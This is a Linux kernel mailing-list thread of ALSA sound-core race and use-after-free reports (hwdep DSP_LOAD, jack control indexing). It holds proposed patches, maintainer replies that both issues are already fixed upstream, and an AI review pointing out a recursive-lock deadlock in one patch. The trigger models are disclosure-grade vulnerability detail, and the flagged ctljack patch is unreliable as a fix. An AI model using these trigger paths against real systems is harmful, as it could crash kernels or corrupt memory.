unsigned int dsp_loaded; /* bit fields of loaded dsp indices */
unsigned int exclusive:1; /* exclusive access mode */
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-22 15:52:51 (星期日)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)
>
> snd_hwdep_dsp_load() in sound/core/hwdep.c checks the
> hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a
> lock. Two threads that share the same hwdep file descriptor (dup() or
> fork()) can both pass the check and run the driver's dsp_load callback
> concurrently; both then set the same bit. Upstream serializes the whole
> check-and-load operation with a per-device dsp_mutex, which this tree
> does not have at all: struct snd_hwdep has no dsp_mutex field,
> snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no
> guard.
>
> The driver callback is not required to be thread-safe. In-tree, the
> usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices()
> for index 1; that path registers ALSA devices and initializes URBs, and
> usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic
> WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act.
> Concurrent DSP_LOAD can therefore duplicate device registration and
> allocate/overwrite the same buffer/URB pointers, with double-free or
> use-after-free consequences in the driver.
>
> I reproduced the unlocked check on Linux 7.3 with a test hwdep device
> whose dsp_load callback sleeps 300 ms and tracks concurrency. Four
> threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows
> active=1,2,3,4 in the callback (max_active=4). hw->exclusive only
> guards open(), not concurrent ioctl() on an already-open fd. This run
> did not produce a KASAN report because the callback is synthetic; the
> proven claim is the broken mutual exclusion, with the usx2y consequence
> argued from code.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
> vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB).
> CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.
>
> * Root cause
>
> sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):
>
> if (hw->dsp_loaded & (1u << index))
> return -EBUSY;
>
> err = hw->ops.dsp_load(hw, &info);
> if (err < 0)
> return err;
> hw->dsp_loaded |= (1u << index);
>
> No lock covers the test, the callback and the bit update. Upstream
> has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct
> snd_hwdep contains dsp_mutex; in this tree the field, the
> mutex_init() in snd_hwdep_new() and the guard are all absent.
>
> The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex
> around snd_hwdep_dsp_load(); open_mutex is held only by
> snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a
> one-time open() check, not a per-ioctl lock, and dup()/fork() share
> the same struct file and hw->used without re-running open().
>
> * Consequence in usx2y
>
> sound/usb/usx2y/usX2Yhwdep.c:174-213
> (snd_usx2y_hwdep_dsp_load) loads firmware images by index; for
> index == 1 it calls usx2y_create_alsa_devices(hw->card), which
> registers ALSA devices and starts the USB streams.
>
> sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and
> :299-334 (usx2y_in04_init) allocate buffers/URBs and use
> WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a
> check-then-act guard; WARN_ON does not serialize. Two concurrent
> index-1 loads can both allocate and overwrite these fields, and
> usx2y_unlinkseq()/cleanup can then double-free or UAF them.
>
> * Trigger model
>
> - A hwdep device whose DSP load is performed by userspace (usx2y is
> the in-tree example);
> - a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
> - two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
> same index;
> - both pass the bit check and enter the driver callback.
>
> No hardware is needed to demonstrate the unlocked check; the attached
> test module does it.
>
> * Reproducer (attached) and results on 7.3
>
> sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1
> and a dsp_load callback that does:
> atomic_inc(&active); update max_active; msleep(300); atomic_dec().
> sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue
> SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.
>
> Observed :
>
> dsp_load enter: index=0 active=1 entered=1 ...
> dsp_load enter: index=0 active=2 entered=2 ...
> dsp_load enter: index=0 active=3 entered=3 ...
> dsp_load enter: index=0 active=4 entered=4 ...
> HWDEP: 4 concurrent DSP_LOAD issued
> KASAN bug count: 0
>
> active=4 proves all four callbacks ran concurrently despite the
> dsp_loaded check; the absence of KASAN is expected for a synthetic
> callback and is stated as such.
>
>
>
> * Suggested direction
>
> Restore the upstream per-device dsp_mutex:
> - add struct mutex dsp_mutex to struct snd_hwdep;
> - mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
> - hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit
> update in snd_hwdep_dsp_load().
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)
2026-11-25 12:46 ` [PATCH] " 徐晗翔
@ 2026-11-25 14:14 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:14 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:46:59 +0100,
徐晗翔 wrote:
>
> snd_hwdep_dsp_load() checked hw->dsp_loaded, ran the driver
> callback and updated the bit with no lock; two threads sharing one
> hwdep fd (dup()/fork()) could both pass the check and run
> hw->ops.dsp_load() concurrently -- the callback is not required to
> be thread-safe (in-tree usx2y registers ALSA devices and allocates
> URBs under non-atomic WARN_ON() check-then-act guards), with
> double-registration / double-free / UAF consequences.
>
> Restore the upstream per-device dsp_mutex: add the field to struct
> snd_hwdep, initialize it in snd_hwdep_new() and hold it across the
> dsp_loaded check, the dsp_load() callback and the bit update.
> hw->exclusive only guards open(), not concurrent ioctls on an
> already-open fd.
This is already fixed in the upstream commit aee83c204f80.
thanks,
Takashi
> ---
> sound/core/hwdep.c | 11 ++++++++++-
> include/sound/hwdep.h | 2 ++
> 2 files changed, 12 insertions(+), 1 deletion(-)
>
> diff --git a/sound/core/hwdep.c b/sound/core/hwdep.c
> --- a/sound/core/hwdep.c
> +++ b/sound/core/hwdep.c
> @@ -207,11 +207,19 @@
> struct snd_hwdep_dsp_image *info)
> {
> int err;
> -
> +
> if (! hw->ops.dsp_load)
> return -ENXIO;
> if (info->index >= 32)
> return -EINVAL;
> + /* Serialize the whole check-and-load sequence: two threads sharing
> + * one hwdep fd (dup()/fork()) must not both pass the dsp_loaded
> + * check and run the driver callback concurrently -- the callback
> + * is not required to be thread-safe (in-tree usx2y registers
> + * devices and allocates URBs with non-atomic check-then-act
> + * guards), and both would set the same bit. hw->exclusive only
> + * guards open(), not concurrent ioctls on an already-open fd. */
> + guard(mutex)(&hw->dsp_mutex);
> /* check whether the dsp was already loaded */
> if (hw->dsp_loaded & (1u << info->index))
> return -EBUSY;
> @@ -380,6 +388,7 @@
>
> init_waitqueue_head(&hwdep->open_wait);
> mutex_init(&hwdep->open_mutex);
> + mutex_init(&hwdep->dsp_mutex);
> hwdep->card = card;
> hwdep->device = device;
> if (id)
> diff --git a/include/sound/hwdep.h b/include/sound/hwdep.h
> --- a/include/sound/hwdep.h
> +++ b/include/sound/hwdep.h
> @@ -56,6 +56,8 @@
> struct device *dev;
>
> struct mutex open_mutex;
> + struct mutex dsp_mutex; /* serializes the DSP_LOAD
> + * check-and-load sequence */
> int used; /* reference counter */
> unsigned int dsp_loaded; /* bit fields of loaded dsp indices */
> unsigned int exclusive:1; /* exclusive access mode */
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-22 15:52:51 (星期日)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)
> >
> > snd_hwdep_dsp_load() in sound/core/hwdep.c checks the
> > hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a
> > lock. Two threads that share the same hwdep file descriptor (dup() or
> > fork()) can both pass the check and run the driver's dsp_load callback
> > concurrently; both then set the same bit. Upstream serializes the whole
> > check-and-load operation with a per-device dsp_mutex, which this tree
> > does not have at all: struct snd_hwdep has no dsp_mutex field,
> > snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no
> > guard.
> >
> > The driver callback is not required to be thread-safe. In-tree, the
> > usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices()
> > for index 1; that path registers ALSA devices and initializes URBs, and
> > usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic
> > WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act.
> > Concurrent DSP_LOAD can therefore duplicate device registration and
> > allocate/overwrite the same buffer/URB pointers, with double-free or
> > use-after-free consequences in the driver.
> >
> > I reproduced the unlocked check on Linux 7.3 with a test hwdep device
> > whose dsp_load callback sleeps 300 ms and tracks concurrency. Four
> > threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows
> > active=1,2,3,4 in the callback (max_active=4). hw->exclusive only
> > guards open(), not concurrent ioctl() on an already-open fd. This run
> > did not produce a KASAN report because the callback is synthetic; the
> > proven claim is the broken mutual exclusion, with the usx2y consequence
> > argued from code.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
> > vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB).
> > CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.
> >
> > * Root cause
> >
> > sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):
> >
> > if (hw->dsp_loaded & (1u << index))
> > return -EBUSY;
> >
> > err = hw->ops.dsp_load(hw, &info);
> > if (err < 0)
> > return err;
> > hw->dsp_loaded |= (1u << index);
> >
> > No lock covers the test, the callback and the bit update. Upstream
> > has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct
> > snd_hwdep contains dsp_mutex; in this tree the field, the
> > mutex_init() in snd_hwdep_new() and the guard are all absent.
> >
> > The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex
> > around snd_hwdep_dsp_load(); open_mutex is held only by
> > snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a
> > one-time open() check, not a per-ioctl lock, and dup()/fork() share
> > the same struct file and hw->used without re-running open().
> >
> > * Consequence in usx2y
> >
> > sound/usb/usx2y/usX2Yhwdep.c:174-213
> > (snd_usx2y_hwdep_dsp_load) loads firmware images by index; for
> > index == 1 it calls usx2y_create_alsa_devices(hw->card), which
> > registers ALSA devices and starts the USB streams.
> >
> > sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and
> > :299-334 (usx2y_in04_init) allocate buffers/URBs and use
> > WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a
> > check-then-act guard; WARN_ON does not serialize. Two concurrent
> > index-1 loads can both allocate and overwrite these fields, and
> > usx2y_unlinkseq()/cleanup can then double-free or UAF them.
> >
> > * Trigger model
> >
> > - A hwdep device whose DSP load is performed by userspace (usx2y is
> > the in-tree example);
> > - a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
> > - two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
> > same index;
> > - both pass the bit check and enter the driver callback.
> >
> > No hardware is needed to demonstrate the unlocked check; the attached
> > test module does it.
> >
> > * Reproducer (attached) and results on 7.3
> >
> > sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1
> > and a dsp_load callback that does:
> > atomic_inc(&active); update max_active; msleep(300); atomic_dec().
> > sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue
> > SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.
> >
> > Observed :
> >
> > dsp_load enter: index=0 active=1 entered=1 ...
> > dsp_load enter: index=0 active=2 entered=2 ...
> > dsp_load enter: index=0 active=3 entered=3 ...
> > dsp_load enter: index=0 active=4 entered=4 ...
> > HWDEP: 4 concurrent DSP_LOAD issued
> > KASAN bug count: 0
> >
> > active=4 proves all four callbacks ran concurrently despite the
> > dsp_loaded check; the absence of KASAN is expected for a synthetic
> > callback and is stated as such.
> >
> >
> >
> > * Suggested direction
> >
> > Restore the upstream per-device dsp_mutex:
> > - add struct mutex dsp_mutex to struct snd_hwdep;
> > - mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
> > - hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit
> > update in snd_hwdep_dsp_load().
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (10 preceding siblings ...)
2026-11-22 7:52 ` sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF) 徐晗翔
@ 2026-11-22 7:55 ` 徐晗翔
2026-11-25 12:46 ` [PATCH] " 徐晗翔
2026-11-22 7:56 ` sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod 徐晗翔
` (29 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:55 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
get_available_index() in sound/core/ctljack.c walks the control id space
by calling snd_ctl_find_id() in a loop, but it does not hold
card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the
candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write
side of controls_rwsem, removes the hash entries, list_del()s the node
and kfree()s the kcontrol. get_available_index() can therefore load a
kcontrol that is being freed and read its id after the free -- a
use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem)
around the loop in snd_kctl_jack_new(); this tree has no lock there.
This is a static report: I have a complete code path and an upstream
diff, but I did not build a dynamic reproducer for this particular
window. I am reporting it because the missing lock is unambiguous and
the required concurrent operations are reachable from userspace.
The detailed description:
* Test environment / affected version
Source analysis against mainline 7.3; no dynamic reproducer was run
for this case. The related sound/core report was produced on a 7.3
KASAN kernel, but that run does not cover MR-05.
* Root cause
sound/core/ctljack.c:31-46 (get_available_index):
static int get_available_index(struct snd_card *card, const char *name)
{
struct snd_ctl_elem_id sid;
memset(&sid, 0, sizeof(sid));
sid.index = 0;
sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strscpy(sid.name, name, sizeof(sid.name));
while (snd_ctl_find_id(card, &sid)) { /* no controls_rwsem */
sid.index++;
sid.numid = 0;
}
return sid.index;
}
sound/core/control.c:843-868 (snd_ctl_find_id) documents that it
takes card->controls_rwlock internally, but the
CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
elem_id_matches() without taking it; only the fallback list walk takes
read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs
under controls_rwsem write, calls remove_hash_entries(card, kcontrol),
then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless
xa_load() can observe a kcontrol that is about to be freed, and
elem_id_matches() can read it afterwards.
Upstream snd_kctl_jack_new() has:
guard(rwsem_read)(&card->controls_rwsem);
before calling get_available_index(); the current tree removed it.
* Reachability
- get_available_index() is called from snd_kctl_jack_new()
(ctljack.c:62-77), which is called by snd_jack_kctl_new()
(jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
- Runtime caller: sound/soc/ti/ams-delta.c:361 calls
snd_soc_jack_add_pins() from the tty line discipline receive path;
snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
snd_jack_add_new_kctl() after the card is registered.
- A user with write access to /dev/snd/controlC* can add and remove
SNDRV_CTL_ELEM_ACCESS_USER controls with iface
SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name
(snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678).
A control with the same name as the jack kcontrol is the concurrent
object.
Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk
holds the read lock and the UAF does not apply); a runtime jack-pin
addition path; a concurrent control add/remove with a colliding name.
The race window is small, but the missing lock makes it a kernel bug
regardless of reproducibility.
* Impact
elem_id_matches() reads kcontrol->id.name/iface/index from freed
memory: KASAN use-after-free read, potential crash or limited
information exposure. A second, non-memory-safety symptom is two
jack kcontrols choosing the same index; the later snd_ctl_add()
returns -EBUSY, so jack creation fails.
* Suggested direction
Hold controls_rwsem for reading across the get_available_index() loop,
e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must
be released before snd_ctl_add(), which takes the write side).
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
2026-11-22 7:55 ` sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk) 徐晗翔
@ 2026-11-25 12:46 ` 徐晗翔
2026-11-25 12:51 ` sashiko-bot
2026-11-25 14:18 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:46 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
get_available_index() walked the control id space via
snd_ctl_find_id() without holding card->controls_rwsem; the
CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
elem_id_matches() without any lock, so a concurrent
snd_ctl_remove() (rwsem write, remove_hash_entries, list_del,
kfree) could free the kcontrol between the xa_load() and the id
read -- a use-after-free.
Restore the upstream guard: hold controls_rwsem for reading across
the index loop in snd_kctl_jack_new(); the read side is released
before the caller's snd_ctl_add(), which takes the write side.
---
sound/core/ctljack.c | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/sound/core/ctljack.c b/sound/core/ctljack.c
--- a/sound/core/ctljack.c
+++ b/sound/core/ctljack.c
@@ -73,7 +73,15 @@
return NULL;
jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
- kctl->id.index = get_available_index(card, kctl->id.name);
+ /* get_available_index() walks the control id space through
+ * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path
+ * reads the candidate kcontrol's id without any lock of its own.
+ * Hold controls_rwsem for reading across the loop so a concurrent
+ * snd_ctl_remove() cannot remove and kfree() the kcontrol between
+ * the xa_load() and the id read. The read side is released before
+ * the caller's snd_ctl_add(), which takes the write side. */
+ scoped_guard(rwsem_read, &card->controls_rwsem)
+ kctl->id.index = get_available_index(card, kctl->id.name);
kctl->private_value = 0;
return kctl;
}
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-22 15:55:11 (星期日)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
>
> get_available_index() in sound/core/ctljack.c walks the control id space
> by calling snd_ctl_find_id() in a loop, but it does not hold
> card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
> it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the
> candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write
> side of controls_rwsem, removes the hash entries, list_del()s the node
> and kfree()s the kcontrol. get_available_index() can therefore load a
> kcontrol that is being freed and read its id after the free -- a
> use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem)
> around the loop in snd_kctl_jack_new(); this tree has no lock there.
>
> This is a static report: I have a complete code path and an upstream
> diff, but I did not build a dynamic reproducer for this particular
> window. I am reporting it because the missing lock is unambiguous and
> the required concurrent operations are reachable from userspace.
>
> The detailed description:
>
> * Test environment / affected version
>
> Source analysis against mainline 7.3; no dynamic reproducer was run
> for this case. The related sound/core report was produced on a 7.3
> KASAN kernel, but that run does not cover MR-05.
>
> * Root cause
>
> sound/core/ctljack.c:31-46 (get_available_index):
>
> static int get_available_index(struct snd_card *card, const char *name)
> {
> struct snd_ctl_elem_id sid;
> memset(&sid, 0, sizeof(sid));
> sid.index = 0;
> sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
> strscpy(sid.name, name, sizeof(sid.name));
>
> while (snd_ctl_find_id(card, &sid)) { /* no controls_rwsem */
> sid.index++;
> sid.numid = 0;
> }
> return sid.index;
> }
>
> sound/core/control.c:843-868 (snd_ctl_find_id) documents that it
> takes card->controls_rwlock internally, but the
> CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
> elem_id_matches() without taking it; only the fallback list walk takes
> read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs
> under controls_rwsem write, calls remove_hash_entries(card, kcontrol),
> then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless
> xa_load() can observe a kcontrol that is about to be freed, and
> elem_id_matches() can read it afterwards.
>
> Upstream snd_kctl_jack_new() has:
>
> guard(rwsem_read)(&card->controls_rwsem);
>
> before calling get_available_index(); the current tree removed it.
>
> * Reachability
>
> - get_available_index() is called from snd_kctl_jack_new()
> (ctljack.c:62-77), which is called by snd_jack_kctl_new()
> (jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
> - Runtime caller: sound/soc/ti/ams-delta.c:361 calls
> snd_soc_jack_add_pins() from the tty line discipline receive path;
> snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
> snd_jack_add_new_kctl() after the card is registered.
> - A user with write access to /dev/snd/controlC* can add and remove
> SNDRV_CTL_ELEM_ACCESS_USER controls with iface
> SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name
> (snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678).
> A control with the same name as the jack kcontrol is the concurrent
> object.
>
> Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk
> holds the read lock and the UAF does not apply); a runtime jack-pin
> addition path; a concurrent control add/remove with a colliding name.
> The race window is small, but the missing lock makes it a kernel bug
> regardless of reproducibility.
>
> * Impact
>
> elem_id_matches() reads kcontrol->id.name/iface/index from freed
> memory: KASAN use-after-free read, potential crash or limited
> information exposure. A second, non-memory-safety symptom is two
> jack kcontrols choosing the same index; the later snd_ctl_add()
> returns -EBUSY, so jack creation fails.
>
> * Suggested direction
>
> Hold controls_rwsem for reading across the get_available_index() loop,
> e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must
> be released before snd_ctl_add(), which takes the write side).
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
2026-11-25 12:46 ` [PATCH] " 徐晗翔
@ 2026-11-25 12:51 ` sashiko-bot
2026-11-25 14:18 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 12:51 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 2 potential
issues to consider:
- [High] ALSA: jack: recursive controls_rwsem down_read() in
snd_kctl_jack_new()
- [High] sound: core: missing Signed-off-by trailer in commit message
--
commit 59c1eb09f555d07cbd4068c80f23a3bf865c7b34
Author: 徐晗翔 <xuhx@hust.edu.cn>
> sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
>
> get_available_index() walked the control id space via
> snd_ctl_find_id() without holding card->controls_rwsem; the
> CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
> elem_id_matches() without any lock, so a concurrent
> snd_ctl_remove() (rwsem write, remove_hash_entries, list_del,
> kfree) could free the kcontrol between the xa_load() and the id
> read -- a use-after-free.
>
> Restore the upstream guard: hold controls_rwsem for reading across
> the index loop in snd_kctl_jack_new(); the read side is released
> before the caller's snd_ctl_add(), which takes the write side.
[Severity: High]
The commit message is missing a Signed-off-by trailer.
> diff --git a/sound/core/ctljack.c b/sound/core/ctljack.c
> index 36700fda79f3c..f0c7fcd663474 100644
> --- a/sound/core/ctljack.c
> +++ b/sound/core/ctljack.c
> @@ -74,7 +74,15 @@ snd_kctl_jack_new(const char *name, struct snd_card *card)
> return NULL;
>
> jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
> - kctl->id.index = get_available_index(card, kctl->id.name);
> + /* get_available_index() walks the control id space through
> + * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path
> + * reads the candidate kcontrol's id without any lock of its own.
> + * Hold controls_rwsem for reading across the loop so a concurrent
> + * snd_ctl_remove() cannot remove and kfree() the kcontrol between
> + * the xa_load() and the id read. The read side is released before
> + * the caller's snd_ctl_add(), which takes the write side. */
> + scoped_guard(rwsem_read, &card->controls_rwsem)
> + kctl->id.index = get_available_index(card, kctl->id.name);
> kctl->private_value = 0;
> return kctl;
> }
[Severity: High]
Does this acquire card->controls_rwsem for reading a second time inside
get_available_index()?
Commit ba8c3d5fc27a ("ALSA: jack: Protect the index scan against control
removal") already added the read guard to get_available_index():
sound/core/ctljack.c:get_available_index() {
...
guard(rwsem_read)(&card->controls_rwsem);
while (snd_ctl_find_id(card, &sid)) {
...
}
Because down_read() is not recursive, every snd_kctl_jack_new() call
triggers a lockdep recursive-locking warning and deadlocks if a writer
queues between the two down_read() calls:
CPU0 CPU1
snd_kctl_jack_new()
down_read(&card->controls_rwsem)
snd_ctl_add()
down_write(&card->controls_rwsem)
get_available_index()
down_read(&card->controls_rwsem) <-- deadlocks behind waiting writer
--
Sashiko AI review · https://sashiko.dev/#/patchset/35a9af21.56c.1a212be1cb2.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
2026-11-25 12:46 ` [PATCH] " 徐晗翔
2026-11-25 12:51 ` sashiko-bot
@ 2026-11-25 14:18 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:18 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:46:18 +0100,
徐晗翔 wrote:
>
> get_available_index() walked the control id space via
> snd_ctl_find_id() without holding card->controls_rwsem; the
> CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
> elem_id_matches() without any lock, so a concurrent
> snd_ctl_remove() (rwsem write, remove_hash_entries, list_del,
> kfree) could free the kcontrol between the xa_load() and the id
> read -- a use-after-free.
>
> Restore the upstream guard: hold controls_rwsem for reading across
> the index loop in snd_kctl_jack_new(); the read side is released
> before the caller's snd_ctl_add(), which takes the write side.
Already fixed by the upstream commit ba8c3d5fc27a.
thanks,
Takashi
> ---
> sound/core/ctljack.c | 10 +++++++++-
> 1 file changed, 9 insertions(+), 1 deletion(-)
>
> diff --git a/sound/core/ctljack.c b/sound/core/ctljack.c
> --- a/sound/core/ctljack.c
> +++ b/sound/core/ctljack.c
> @@ -73,7 +73,15 @@
> return NULL;
>
> jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
> - kctl->id.index = get_available_index(card, kctl->id.name);
> + /* get_available_index() walks the control id space through
> + * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path
> + * reads the candidate kcontrol's id without any lock of its own.
> + * Hold controls_rwsem for reading across the loop so a concurrent
> + * snd_ctl_remove() cannot remove and kfree() the kcontrol between
> + * the xa_load() and the id read. The read side is released before
> + * the caller's snd_ctl_add(), which takes the write side. */
> + scoped_guard(rwsem_read, &card->controls_rwsem)
> + kctl->id.index = get_available_index(card, kctl->id.name);
> kctl->private_value = 0;
> return kctl;
> }
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-22 15:55:11 (星期日)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)
> >
> > get_available_index() in sound/core/ctljack.c walks the control id space
> > by calling snd_ctl_find_id() in a loop, but it does not hold
> > card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
> > it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the
> > candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write
> > side of controls_rwsem, removes the hash entries, list_del()s the node
> > and kfree()s the kcontrol. get_available_index() can therefore load a
> > kcontrol that is being freed and read its id after the free -- a
> > use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem)
> > around the loop in snd_kctl_jack_new(); this tree has no lock there.
> >
> > This is a static report: I have a complete code path and an upstream
> > diff, but I did not build a dynamic reproducer for this particular
> > window. I am reporting it because the missing lock is unambiguous and
> > the required concurrent operations are reachable from userspace.
> >
